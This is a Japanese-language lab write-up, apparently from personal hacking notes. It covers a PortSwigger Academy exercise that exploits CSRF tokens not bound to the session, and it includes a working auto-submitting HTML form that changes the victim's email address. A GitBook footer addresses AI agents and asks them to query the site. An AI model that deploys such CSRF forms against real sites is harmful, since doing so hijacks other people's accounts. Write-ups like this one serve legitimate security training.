> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-token-not-tied-to-session.md).

# セッションに紐付いていないトークンを伴うCSRF

PortSwigger Web Security Academy のラボ向けメモ。セッションに紐付いていないトークンを伴うCSRFに関するもので、攻撃手順、ペイロードのテスト、Burp Suite による検証、および対策の文脈を含む。

### トークンがユーザーセッションに紐付いていないCSRF

#### ラボの目的

CSRF攻撃で被害者のメールアドレスを変更する。アプリケーションはCSRFトークンを使用しているが、それらは **ユーザーセッションに紐付いていない**.

#### 観察事項

各CSRFトークンは **一度だけ有効です**.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3938ef3724821057344d9226944dce7be170654%2F%7B65FB9241-4579-4E37-8EA5-AA2EF11B897A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* トークンは **セッションに関連付けられていません**：ユーザーAで取得したトークンを、Bを標的に使えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1d2667b1d901636b8c2b73909b219c4c666a3769%2F%7BAB04E45C-F9F7-426F-96AD-48EB82B231A1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e92e1ff9189e224f51e3ff2f9f620732a4cfe0f%2F%7B753795FD-AF32-422B-92CC-D7BB501B017D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### 運用戦略

1. **新しいCSRFトークンを取得する** 使わずに（新しいリクエストを傍受して、まだ有効なトークンを取得する）。
2. **悪意のあるフォームを配置する** エクスプロイトサーバー上で、再利用することでメールアドレスを変更するPOSTリクエストを送信する **このトークン**.
3. 被害者が罠ページを訪れると、フォームは自動的に送信され、 **メールアドレスを変更します**.

```html
<form class="login-form" name="change-email-form" action="https://0abb002803dad06d8096038d003a0088.web-security-academy.net/my-account/change-email" method="POST">
          <input required="" type="email" name="email" value="hacked@byjordan.com">
           <input required="" type="hidden" name="csrf" value="LMds3vzdHoalpvvZ6EHmKpg2M00olc4A">
  </form>

<script>
   document.forms[0].submit();
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/web/csrf/csrf-token-not-tied-to-session.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
